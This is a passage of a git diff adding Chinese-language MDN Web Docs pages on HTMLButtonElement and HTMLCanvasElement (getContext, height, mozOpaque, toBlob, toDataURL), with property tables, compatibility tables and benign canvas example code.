HTMLButtonElement 接口提供操作button元素 (除了 {{HTMLElement("button")}} 对象,这个接口对继承了该对象的元素也有效)的属性和方法。

+ +

属性

+ +

从父对象{{domxref("HTMLElement")}}继承的属性。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名字类型描述
accessKey{{domxref("DOMString")}}一个键盘字符构成的字符串,表明用哪个键盘字符能够访问这个按钮。
autofocus{{domxref("Boolean")}}这个控件是否可以在页面加载时自动得到焦点。但用户选择了其他焦点除外。只有和表单关联的按钮该特性才有效。
disabled{{domxref("Boolean")}}这个控件是否被禁用。被禁用的控件不接受任何输入和点击。
form {{readonlyInline}}{{domxref("HTMLFormElement")}}这个按钮所关联的表单元素。如果这个按钮是一个表单元素的后代元素,那么这个属性的值就是那个表单元素。
+ 如果这个按钮不是一个表单元素的后代元素,那么这个数学可以是任意同文档中的表单元素,或者是 null 表明它没有关联任何表单。
formAction{{domxref("DOMString")}}一个处理提交信息的URI资源地址。如果指定该属性,会覆盖拥有该元素的{{HTMLElement("form")}} 元素的{{htmlattrxref("action", "form")}} 属性。
formEncType{{domxref("DOMString")}}表单要提交给服务器处理的内容的类型。如果指定该属性,会覆盖拥有该元素的{{HTMLElement("form")}} 元素的{{htmlattrxref("enctype", "form")}} 属性。
formMethod{{domxref("DOMString")}}浏览器提交表单内容的HTTP方法。如果指定该属性,会覆盖拥有该元素的{{HTMLElement("form")}} 元素的.{{htmlattrxref("method", "form")}}属性。
formNoValidate{{domxref("Boolean")}}表明这个表单提交时是否需要验证。如果指定该属性,会覆盖拥有该元素的{{HTMLElement("form")}} 元素的.{{htmlattrxref("novalidate", "form")}}属性。
formTarget{{domxref("DOMString")}}一个名字或关键字,用于表明显示服务器响应的页面。如果指定该属性,会覆盖拥有该元素的{{HTMLElement("form")}} 元素的.{{htmlattrxref("target", "form")}}属性。
labels {{readonlyInline}}{{domxref("NodeList")}}一个{{HTMLElement("label")}} 元素表,说明哪些标签是归属这个button的。
menu {{experimental_inline}}{{domxref("HTMLMenuElement")}}如果该按钮type="menu",被点击的时候应该显示的菜单。
name{{domxref("DOMString")}}提交到服务器时表单描述该对象的name。 {{HTMLVersionInline(5)}} 如果指定该属性,不能使用空字符串 。
tabIndexlong用于表示该元素在tab按钮跳动过程中的序号的一个数字。
type{{domxref("DOMString")}}表明按钮的行为。这个属性是枚举类型,可以是以下的值: +
    +
  • "submit": 这个按钮会提交表单。如果不指定该属性,这是默认值。{{HTMLVersionInline(5)}} 中可以动态改为空值或者无效值。
  • +
  • "reset": 用于重置(清空)表单。
  • +
  • "button": 什么都不做的按钮。通常通过Javascript挂载事件。
  • +
  • "menu": 显示菜单的按钮 {{experimental_inline}}。
  • +
+
validationMessage {{readonlyInline}}{{domxref("DOMString")}}报告该控件不满足验证要求的,提示给用户的看的信息。如果这个控件没有验证约束(willValidate值为false),或者满足验证的要求,那么这个属性为空字符串。
validity {{readonlyInline}}{{domxref("ValidityState")}}这个控件当前的验证状态。
value{{domxref("DOMString")}}这个控件当前的表单值。
willValidate{{domxref("Boolean")}}表明这个按钮是否需要在提交前进行验证。如果不需要,这个属性值为false
+ +

方法

+ +

从父对象{{domxref("HTMLElement")}}继承的方法。

+ + + + + + + + + + + + + + + + + + + + + +
名字返回类型描述
checkValidity(){{domxref("Boolean")}}对按钮元素不支持。
setCustomValidity(in DOMString error)void对按钮元素不支持。
+ +

在基于Gecko的浏览器中,在表单验证时会使用{{cssxref(":-moz-submit-invalid")}} 伪类修饰提交按钮。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}{{Spec2('HTML WHATWG')}}新添加的属性: menu
+ type 属性可以使用的新的值"menu"
{{SpecName('HTML5 W3C', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}{{Spec2('HTML5 W3C')}}属性tabindexaccesskey被定义在{{domxref("HTMLElement")}}中。
+ 添加了下列属性:autofocus, formAction, formEncType, formMethod, formNoValidate, formTarget, labels, validity, validationMessagewillValidate
+ 添加了下列方法:checkValidity(), setCustomValidity().
+ type 属性不再是只读的。
{{SpecName('DOM2 HTML', 'html.html#ID-ID-48250443', 'HTMLAnchorElement')}}{{Spec2('DOM2 HTML')}}和 {{SpecName("DOM1")}}一样
{{SpecName('DOM1', 'level-one-html.html#ID-48250443', 'HTMLAnchorElement')}}{{Spec2('DOM1')}}最初的定义。
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
与表单相关的属性{{CompatVersionUnknown}}{{CompatGeckoDesktop(2.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
labels{{CompatVersionUnknown}}{{CompatNo}} {{unimplemented_inline(556743)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
menu & type="menu" {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
基本支持{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
与表单相关的属性{{CompatVersionUnknown}}{{CompatGeckoDesktop(2.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
labels{{CompatVersionUnknown}}{{CompatNo}}{{unimplemented_inline(556743)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
menu & type="menu" {{experimental_inline}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/htmlcanvaselement/getcontext/index.html b/files/zh-cn/web/api/htmlcanvaselement/getcontext/index.html new file mode 100644 index 0000000000..07c0e6820c --- /dev/null +++ b/files/zh-cn/web/api/htmlcanvaselement/getcontext/index.html @@ -0,0 +1,161 @@ +--- +title: HTMLCanvasElement.getContext() +slug: Web/API/HTMLCanvasElement/getContext +tags: + - API + - Canvas +translation_of: Web/API/HTMLCanvasElement/getContext +--- +
{{APIRef("Canvas API")}}
+ +

HTMLCanvasElement.getContext() 方法返回{{jsxref("canvas")}} 的上下文,如果上下文没有定义则返回 {{jsxref("null")}} .

+ +

在同一个canvas上以相同的 contextType 多次调用此方法只会返回同一个上下文。

+ +

语法

+ +
var ctx = canvas.getContext(contextType);
+var ctx = canvas.getContext(contextType, contextAttributes);
+ +

参数

+ +
+
上下文类型(contextType)
+
是一个指示使用何种上下文的 {{domxref("DOMString")}} 。可能的值是: +
    +
  • "2d", 建立一个 {{domxref("CanvasRenderingContext2D")}} 二维渲染上下文。
  • +
  • "webgl" (或"experimental-webgl") 这将创建一个 {{domxref("WebGLRenderingContext")}} 三维渲染上下文对象。只在实现WebGL 版本1(OpenGL ES 2.0)的浏览器上可用。
  • +
  • "webgl2" (或 "experimental-webgl2") 这将创建一个 {{domxref("WebGL2RenderingContext")}} 三维渲染上下文对象。只在实现 WebGL 版本2 (OpenGL ES 3.0)的浏览器上可用。{{experimental_inline}}
  • +
  • "bitmaprenderer" 这将创建一个只提供将canvas内容替换为指定{{domxref("ImageBitmap")}}功能的{{domxref("ImageBitmapRenderingContext")}}  。
  • +
+ +
+

注意: 标识符 "experimental-webgl" 或 "experimental-webgl2" 用于新 WebGL的实现。 这些实现还没有达到测试套件一致性或图形驱动程序平台局势尚不稳定。Khronos Group 集团认证WebGL 实现在某些一致性规则

+
+
+
上下文属性(contextAttributes)
+
+

你可以在创建渲染上下文的时候设置多个属性,例如:

+ +
canvas.getContext("webgl",
+                 { antialias: false,
+                   depth: false });
+ 2d 上下文属性: + +
    +
  • alpha: {{jsxref("boolean")}}值表明{{jsxref("canvas")}}包含一个{{jsxref("alpha")}}通道. 如果设置为{{jsxref("false")}}, 浏览器将认为{{jsxref("canvas")}}背景总是不透明的, 这样可以加速绘制透明的内容和图片.
  • +
  • {{non-standard_inline}} (Gecko only) willReadFrequently: {{jsxref("boolean")}}值表明是否有重复读取计划。经常使用{{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}},这将迫使软件使用2D {{jsxref("canvas")}} 并 节省内存(而不是硬件加速)。这个方案适用于存在属性 gfx.canvas.willReadFrequently的环境。并设置为{{jsxref("true")}} (缺省情况下,只有B2G / Firefox OS).
  • +
  • {{non-standard_inline}} (Blink only) storage: {{jsxref("string")}} 这样表示使用哪种方式存储(默认为:持久("persistent")).
  • +
+ WebGL上下文属性: + +
    +
  • +

    alpha: {{jsxref("boolean")}}值表明{{jsxref("canvas")}}包含一个{{jsxref("alpha")}}缓冲区。

    +
  • +
  • +

    antialias: {{jsxref("boolean")}}值表明是否开启抗锯齿。

    +
  • +
  • +

    depth: {{jsxref("boolean")}}值表明绘制缓冲区包含一个深度至少为16位的缓冲区。

    +
  • +
  • +

    failIfMajorPerformanceCaveat: 表明在一个系统性能低的环境是否创建该上下文的{{jsxref("boolean")}}值。

    +
  • +
  • +

    powerPreference: 指示浏览器在运行WebGL上下文时使用相应的GPU电源配置。 可能值如下:

    + +
      +
    • +

      "default":自动选择,默认值。

      +
    • +
    • +

      "high-performance": 高性能模式。

      +
    • +
    • +

      "low-power": 节能模式。

      +
    • +
    +
  • +
  • +

    premultipliedAlpha: 表明排版引擎讲假设绘制缓冲区包含预混合alpha通道的{{jsxref("boolean")}}值。

    +
  • +
  • +

    preserveDrawingBuffer: 如果这个值为{{jsxref("true")}}缓冲区将不会被清除,会保存下来,直到被清除或被使用者覆盖。

    +
  • +
  • +

    stencil: 表明绘制缓冲区包含一个深度至少为8位的模版缓冲区{{jsxref("boolean")}}值。

    +
  • +
+
+
+ +

返回值

+ +

{{domxref("RenderingContext")}} 返回值是下列之一:

+ + + +

如果 contextType 不是上述之一,返回{{jsxref("null")}}.

+ +

例子

+ +

定义 {{HTMLElement("canvas")}} 元素:

+ +
<canvas id="canvas" width="300" height="300"></canvas>
+
+ +

通过如下代码可以获取 {{jsxref("canvas")}}2d 上下文:

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+console.log(ctx); // CanvasRenderingContext2D { ... }
+
+ +

现在你已经获取到了2D 画布的渲染上下文({{domxref("CanvasRenderingContext2D")}}),可以使用它画你想画的了.

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5.1', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}{{Spec2('HTML5 W3C')}}Snapshot of the {{SpecName('HTML WHATWG')}} containing the initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLCanvasElement.getContext")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/htmlcanvaselement/height/index.html b/files/zh-cn/web/api/htmlcanvaselement/height/index.html new file mode 100644 index 0000000000..a479e87d7e --- /dev/null +++ b/files/zh-cn/web/api/htmlcanvaselement/height/index.html @@ -0,0 +1,123 @@ +--- +title: HTMLCanvasElement.height +slug: Web/API/HTMLCanvasElement/height +translation_of: Web/API/HTMLCanvasElement/height +--- +
+
+
{{APIRef("Canvas API")}}
+
+
+ +

HTMLCanvasElement.height 属性是一个正整数 ,使用了{{HTMLElement("canvas")}} 元素的HTML 属性{{htmlattrxref("height", "canvas")}}来反映该元素高度的 CSS 像素值。当该属性没有被定义,或被定义为一个无效值(如负值)时, 将使用150作为它的默认值。

+ +

控制canvas元素大小的属性有两个,这是其中一个,还有一个是{{domxref("HTMLCanvasElement.width")}}。

+ +

语法

+ +
var pxl = canvas.height;
+canvas.height = pxl;
+
+ +

示例

+ +

给出这样一个{{HTMLElement("canvas")}} 元素:

+ +
<canvas id="canvas" width="300" height="300"></canvas>
+
+ +

可以通过以下代码获得这个canvas元素的高度:

+ +
var canvas = document.getElementById('canvas');
+console.log(canvas.height); // 300
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "scripting.html#attr-canvas-height", "HTMLCanvasElement.height")}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5.1', "scripting-1.html#attr-canvas-height", "HTMLCanvasElement.height")}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C', "scripting-1.html#attr-canvas-height", "HTMLCanvasElement.height")}}{{Spec2('HTML5 W3C')}}Snapshot of the {{SpecName('HTML WHATWG')}} containing the initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatChrome(4) }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop("1.9.2") }}{{ CompatIE(9) }}{{ CompatOpera(9) }}{{ CompatSafari(3.1) }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoMobile("1.9.2") }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

其他

+ + diff --git a/files/zh-cn/web/api/htmlcanvaselement/index.html b/files/zh-cn/web/api/htmlcanvaselement/index.html new file mode 100644 index 0000000000..0a6e76ff7d --- /dev/null +++ b/files/zh-cn/web/api/htmlcanvaselement/index.html @@ -0,0 +1,92 @@ +--- +title: HTMLCanvasElement +slug: Web/API/HTMLCanvasElement +translation_of: Web/API/HTMLCanvasElement +--- +

{{APIRef("Canvas API")}}

+ +

HTMLCanvasElement接口提供用于操纵{{HtmlElement("canvas")}}元素的布局和表示的属性和方法。 HTMLCanvasElement接口还继承了{{domxref("HTMLElement")}}接口的属性和方法。

+ +

{{InheritanceDiagram(600, 120)}}

+ +

属性

+ +

从其父项{{domxref("HTMLElement")}}继承属性。

+ +
+
{{domxref("HTMLCanvasElement.height")}}
+
是一个正整数,反映了{{HTMLElement("canvas")}} 元素的{{htmlattrxref("height", "canvas")}} HTML属性,以CSS像素表示。 如果未指定属性,或者将其设置为无效值(例如负数),则使用默认值150。
+
{{domxref("HTMLCanvasElement.width")}}
+
是一个正整数,反映了{{HTMLElement("canvas")}} 元素的{{htmlattrxref("width", "canvas")}} HTML属性,以CSS像素表示。 如果未指定属性,或者将其设置为无效值(例如负数),则使用默认值300。
+
{{domxref("HTMLCanvasElement.mozOpaque")}} {{non-standard_inline}} {{deprecated_inline}}
+
是反映 {{HTMLElement("canvas")}}元素的{{htmlattrxref("moz-opaque", "canvas")}} 属性的{{jsxref("Boolean")}}。 它让画布知道半透明性是否会成为一个因素。 如果画布知道没有透明感,则可以优化绘画性能。 仅基于Mozilla的浏览器支持此功能, 可以使用标准化的{{domxref("HTMLCanvasElement.getContext()", "canvas.getContext('2d', { alpha: false })")}} 代替。
+
{{domxref("HTMLCanvasElement.mozPrintCallback")}}{{non-standard_inline}}
+
是最初为空的函数。 Web内容可以将其设置为JavaScript函数,该函数将在打印页面时重新绘制画布时调用。 调用时,回调将传递一个实现了MozCanvasPrintState接口的“ printState”对象。 回调可以从printState对象获取要绘制的上下文,然后必须在完成时在其上调用done() 。 mozPrintCallback 的目的是在所使用打印机的分辨率下获得较高分辨率的画布渲染。 请参阅此博客文章
+
+ +

方法

+ +

从其父项{{domxref("HTMLElement")}}继承方法。

+ +
+
{{domxref("HTMLCanvasElement.captureStream()")}} {{experimental_inline}}
+
返回{{domxref("CanvasCaptureMediaStream")}} ,它是对画布表面的实时视频捕获。
+
{{domxref("HTMLCanvasElement.getContext()")}}
+
返回画布上的绘图上下文;如果不支持上下文ID,则返回null。 绘图上下文可让您在画布上绘图。 调用getContext传入"2d" 可以返回一个{{domxref("CanvasRenderingContext2D")}}对象,也可以传入"webgl"(或"experimental-webgl")返回一个{{domxref("WebGLRenderingContext")}} 对象。 此上下文仅在实现WebGL的浏览器上可用。
+
{{domxref("HTMLCanvasElement.toDataURL()")}}
+
返回一个数据URL,该URL包含由类型参数指定的格式的图像(默认为png)。 返回的图像分辨率为96dpi。
+
{{domxref("HTMLCanvasElement.toBlob()")}}
+
创建一个{{domxref("Blob")}} 对象,表示canvas中包含的图像; 该文件可以由用户代理决定是否缓存在磁盘上或存储在内存中。
+
{{domxref("HTMLCanvasElement.transferControlToOffscreen()")}} {{experimental_inline}}
+
将控制权转移到主线程或辅助线程上的 {{domxref("OffscreenCanvas")}}对象。
+
+

过时的方法

+
+
{{domxref("HTMLCanvasElement.mozGetAsFile()")}} {{non-standard_inline}} {{obsolete_inline}}
+
返回代表画布中包含的图像的{{domxref("File")}} 对象; 该文件是基于内存的文件,具有指定的名称。 如果未指定类型,则图像类型为image / png。
+
+ +

事件

+ +

使用addEventListener()监听这些事件。

+ +
+
webglcontextcreationerror
+
如果用户代理无法创建WebGLRenderingContext 或WebGL2RenderingContext 上下文,则触发该事件。
+
webglcontextlost
+
如果用户代理检测到与WebGLRenderingContext 或WebGL2RenderingContext 对象关联的绘图缓冲区已丢失,则触发此事件。
+
webglcontextrestored
+
如果用户代理为WebGLRenderingContext 或WebGL2RenderingContext 对象恢复绘图缓冲区,则触发该事件。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#htmlcanvaselement", "HTMLCanvasElement")}}{{Spec2('HTML WHATWG')}}Primary definition of HTMLCanvasElement.
{{SpecName('Media Capture DOM Elements', '#html-canvas-element-media-capture-extensions', 'HTMLCanvasElement')}}{{Spec2('Media Capture DOM Elements')}}Adds the method captureStream().
+ +

浏览器支持

+ + + +

{{Compat("api.HTMLCanvasElement")}}

+ +
diff --git a/files/zh-cn/web/api/htmlcanvaselement/mozopaque/index.html b/files/zh-cn/web/api/htmlcanvaselement/mozopaque/index.html new file mode 100644 index 0000000000..b82b5718db --- /dev/null +++ b/files/zh-cn/web/api/htmlcanvaselement/mozopaque/index.html @@ -0,0 +1,53 @@ +--- +title: HTMLCanvasElement.mozOpaque +slug: Web/API/HTMLCanvasElement/mozOpaque +tags: + - API + - Canvas + - HTMLCanvasElement +translation_of: Web/API/HTMLCanvasElement/mozOpaque +--- +
{{APIRef("Canvas API")}}{{non-standard_header}}
+ +

非标准的 HTMLCanvasElement.mozOpaque 是一种 {{jsxref("Boolean")}} 的数据反映了{{HTMLElement("canvas")}}元素的{htmlattrxref("moz-opaque", "canvas")} HTML属性。它能够让画布(canvas)将半透明作为一个参考因素。如果画布知道没有半透明因素,作画的性能可以优化。

+ +

当使用{{domxref("HTMLCanvasElement.getContext()")}}创建绘图上下文时,该api将被标准化为将alpha选项设置为false。应该避免使用mozOpaque。Firefox将在未来停止支持它。

+ +

语法

+ +
var opaque = canvas.mozOpaque;
+canvas.mozOpaque = true;
+
+ +

示例

+ +

有如下{{HTMLElement("canvas")}} 元素:

+ +
<canvas id="canvas" width="300" height="300" moz-opaque></canvas>
+
+ +

你可以获取或设置 mozOpaque 属性. 例如,当mimeType == 'image/jpeg'或类似值时,可以将其属性值设置为true,以在不需要半透明度的情况下提高应用程序的性能。

+ +
var canvas = document.getElementById('canvas');
+console.log(canvas.mozOpaque); // true
+// 停用该方法
+canvas.mozOpaque = false;
+
+ +

规范

+ +

不属于任何标准。

+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLCanvasElement.mozOpaque")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/htmlcanvaselement/toblob/index.html b/files/zh-cn/web/api/htmlcanvaselement/toblob/index.html new file mode 100644 index 0000000000..d9388defd9 --- /dev/null +++ b/files/zh-cn/web/api/htmlcanvaselement/toblob/index.html @@ -0,0 +1,204 @@ +--- +title: HTMLCanvasElement.toBlob() +slug: Web/API/HTMLCanvasElement/toBlob +translation_of: Web/API/HTMLCanvasElement/toBlob +--- +
+
+
{{APIRef("Canvas API")}}
+
+
+ +

HTMLCanvasElement.toBlob() 方法创造{{domxref("Blob")}}对象,用以展示canvas上的图片;这个图片文件可以被缓存或保存到本地,由用户代理端自行决定。如不特别指明,图片的类型默认为 image/png,分辨率为96dpi。

+ +

第三个参数用于针对image/jpeg格式的图片进行输出图片的质量设置。

+ +

语法

+ +
canvas.toBlob(callback, type, encoderOptions);
+
+ +

参数

+ +
+
callback
+
回调函数,可获得一个单独的{{domxref("Blob")}}对象参数。
+
type {{optional_inline}}
+
{{domxref("DOMString")}}类型,指定图片格式,默认格式为image/png
+
encoderOptions {{optional_inline}}
+
{{jsxref("Number")}}类型,值在0与1之间,当请求图片格式为image/jpeg或者image/webp时用来指定图片展示质量。如果这个参数的值不在指定类型与范围之内,则使用默认值,其余参数将被忽略。
+
+ +

返回值

+ +

无。

+ +

异常

+ +
+
SecurityError
+
canvas“被污染”的情况下不能使用此方法
+
+ +

示例

+ +

将canvas图像转换为文件

+ +

当一个内容画到canvas上时,我们可以将它生成任何一个格式支持的图片文件。比如,下面的代码段获得了id为“canvas”的{{HTMLElement("canvas")}}元素中的图像,复制成一个PNG图,在文档中加入一个新的{{HTMLElement("img")}}元素,这个{{HTMLElement("img")}}元素的源图就是使用canvas创建的那个图像。 

+ +
var canvas = document.getElementById("canvas");
+
+canvas.toBlob(function(blob) {
+  var newImg = document.createElement("img"),
+      url = URL.createObjectURL(blob);
+
+  newImg.onload = function() {
+    // no longer need to read the blob so it's revoked
+    URL.revokeObjectURL(url);
+  };
+
+  newImg.src = url;
+  document.body.appendChild(newImg);
+});
+
+ +

注意,我们这里创建的是PNG图片;如果在toBlob()传入第二个参数,就可以指定图片格式。例如,生成JPEG格式的图片:

+ +
 canvas.toBlob(function(blob){...}, "image/jpeg", 0.95); // JPEG at 95% quality
+ +
+

将canvas转换为ico(仅限Mozilla)

+ +

使用-moz-parse来将canvas转换为ico。Windows XP不支持将PNG转为ico,因此转为bmp作为代替。设置下载属性,生成下载链接。下载属性的值将被用来作为文件名。

+ +
var canvas = document.getElementById("canvas");
+var d = canvas.width;
+ctx = canvas.getContext("2d");
+ctx.beginPath();
+ctx.moveTo(d / 2, 0);
+ctx.lineTo(d, d);
+ctx.lineTo(0, d);
+ctx.closePath();
+ctx.fillStyle = "yellow";
+ctx.fill();
+
+function blobCallback(iconName) {
+  return function(b) {
+    var a = document.createElement("a");
+    a.textContent = "Download";
+    document.body.appendChild(a);
+    a.style.display = "block";
+    a.download = iconName + ".ico";
+    a.href = window.URL.createObjectURL(b);
+  }
+}
+canvas.toBlob(blobCallback('passThisString'), 'image/vnd.microsoft.icon',
+              '-moz-parse-options:format=bmp;bpp=32');
+
+ +

Save toBlob to disk with OS.File (chrome/add-on context only)

+ +
+

This technique saves it to the desktop and is only useful in Firefox chrome context or add-on code as OS APIs are not present on web sites.

+
+ +
var canvas = document.getElementById("canvas");
+var d = canvas.width;
+ctx = canvas.getContext("2d");
+ctx.beginPath();
+ctx.moveTo(d / 2, 0);
+ctx.lineTo(d, d);
+ctx.lineTo(0, d);
+ctx.closePath();
+ctx.fillStyle = "yellow";
+ctx.fill();
+
+function blobCallback(iconName) {
+  return function(b) {
+    var r = new FileReader();
+    r.onloadend = function () {
+    // r.result contains the ArrayBuffer.
+    Cu.import('resource://gre/modules/osfile.jsm');
+    var writePath = OS.Path.join(OS.Constants.Path.desktopDir,
+                                 iconName + '.ico');
+    var promise = OS.File.writeAtomic(writePath, new Uint8Array(r.result),
+                                      {tmpPath:writePath + '.tmp'});
+    promise.then(
+      function() {
+        console.log('successfully wrote file');
+      },
+      function() {
+        console.log('failure writing file')
+      }
+    );
+  };
+  r.readAsArrayBuffer(b);
+  }
+}
+
+canvas.toBlob(blobCallback('passThisString'), 'image/vnd.microsoft.icon',
+              '-moz-parse-options:format=bmp;bpp=32');
+ +

Polyfill

+ +

A low performance polyfill based on toDataURL.

+ +
if (!HTMLCanvasElement.prototype.toBlob) {
+ Object.defineProperty(HTMLCanvasElement.prototype, 'toBlob', {
+  value: function (callback, type, quality) {
+
+    var binStr = atob( this.toDataURL(type, quality).split(',')[1] ),
+        len = binStr.length,
+        arr = new Uint8Array(len);
+
+    for (var i=0; i<len; i++ ) {
+     arr[i] = binStr.charCodeAt(i);
+    }
+
+    callback( new Blob( [arr], {type: type || 'image/png'} ) );
+  }
+ });
+}
+
+ +

文档

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-toblob", "HTMLCanvasElement.toBlob")}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5.1', "scripting-1.html#dom-canvas-toblob", "HTMLCanvasElement.toBlob")}}{{Spec2('HTML5.1')}}No change
{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-toblob", "HTMLCanvasElement.toBlob")}}{{Spec2('HTML5 W3C')}}Snapshot of the {{SpecName('HTML WHATWG')}} containing the initial definition.
+ +

浏览器兼容

+ + + +

{{Compat("api.HTMLCanvasElement.toBlob")}}

+ +

扩展阅读

+ + diff --git a/files/zh-cn/web/api/htmlcanvaselement/todataurl/index.html b/files/zh-cn/web/api/htmlcanvaselement/todataurl/index.html new file mode 100644 index 0000000000..724c67025f --- /dev/null +++ b/files/zh-cn/web/api/htmlcanvaselement/todataurl/index.html @@ -0,0 +1,155 @@ +--- +title: HTMLCanvasElement.toDataURL() +slug: Web/API/HTMLCanvasElement/toDataURL +translation_of: Web/API/HTMLCanvasElement/toDataURL +--- +
+
+
{{APIRef("Canvas API")}}
+
+
+ +

HTMLCanvasElement.toDataURL() 方法返回一个包含图片展示的 data URI 。可以使用 type 参数其类型,默认为 PNG 格式。图片的分辨率为96dpi。

+ + + +

语法

+ +
canvas.toDataURL(type, encoderOptions);
+
+ +

参数

+ +
+
type {{optional_inline}}
+
图片格式,默认为 image/png
+
encoderOptions {{optional_inline}}
+
在指定图片格式为 image/jpeg 或 image/webp的情况下,可以从 0 到 1 的区间内选择图片的质量。如果超出取值范围,将会使用默认值 0.92。其他参数会被忽略。
+
+ +

返回值

+ +

包含 data URI 的{{domxref("DOMString")}}。

+ +

示例

+ +

有如下{{HTMLElement("canvas")}}元素

+ +
<canvas id="canvas" width="5" height="5"></canvas>
+
+ +

可以用这样的方式获取一个 data-URL

+ +
var canvas = document.getElementById("canvas");
+var dataURL = canvas.toDataURL();
+console.log(dataURL);
+// "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNby
+// blAAAADElEQVQImWNgoBMAAABpAAFEI8ARAAAAAElFTkSuQmCC"
+
+ +

设置jpegs图片的质量

+ +
var fullQuality = canvas.toDataURL("image/jpeg", 1.0);
+// data:image/jpeg;base64,/9j/4AAQSkZJRgABAQ...9oADAMBAAIRAxEAPwD/AD/6AP/Z"
+var mediumQuality = canvas.toDataURL("image/jpeg", 0.5);
+var lowQuality = canvas.toDataURL("image/jpeg", 0.1);
+
+ +

示例:动态更改图片

+ +

可以使用鼠标事件来动态改变图片(这个例子中改变图片灰度)。

+ +

HTML

+ +
<img class="grayscale" src="myPicture.png" alt="Description of my picture" />
+ +

JavaScript

+ +
window.addEventListener("load", removeColors);
+
+function showColorImg() {
+  this.style.display = "none";
+  this.nextSibling.style.display = "inline";
+}
+
+function showGrayImg() {
+  this.previousSibling.style.display = "inline";
+  this.style.display = "none";
+}
+
+function removeColors() {
+  var aImages = document.getElementsByClassName("grayscale"),
+      nImgsLen = aImages.length,
+      oCanvas = document.createElement("canvas"),
+      oCtx = oCanvas.getContext("2d");
+  for (var nWidth, nHeight, oImgData, oGrayImg, nPixel, aPix, nPixLen, nImgId = 0; nImgId < nImgsLen; nImgId++) {
+    oColorImg = aImages[nImgId];
+    nWidth = oColorImg.offsetWidth;
+    nHeight = oColorImg.offsetHeight;
+    oCanvas.width = nWidth;
+    oCanvas.height = nHeight;
+    oCtx.drawImage(oColorImg, 0, 0);
+    oImgData = oCtx.getImageData(0, 0, nWidth, nHeight);
+    aPix = oImgData.data;
+    nPixLen = aPix.length;
+    for (nPixel = 0; nPixel < nPixLen; nPixel += 4) {
+      aPix[nPixel + 2] = aPix[nPixel + 1] = aPix[nPixel] = (aPix[nPixel] + aPix[nPixel + 1] + aPix[nPixel + 2]) / 3;
+    }
+    oCtx.putImageData(oImgData, 0, 0);
+    oGrayImg = new Image();
+    oGrayImg.src = oCanvas.toDataURL();
+    oGrayImg.onmouseover = showColorImg;
+    oColorImg.onmouseout = showGrayImg;
+    oCtx.clearRect(0, 0, nWidth, nHeight);
+    oColorImg.style.display = "none";
+    oColorImg.parentNode.insertBefore(oGrayImg, oColorImg);
+  }
+}
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
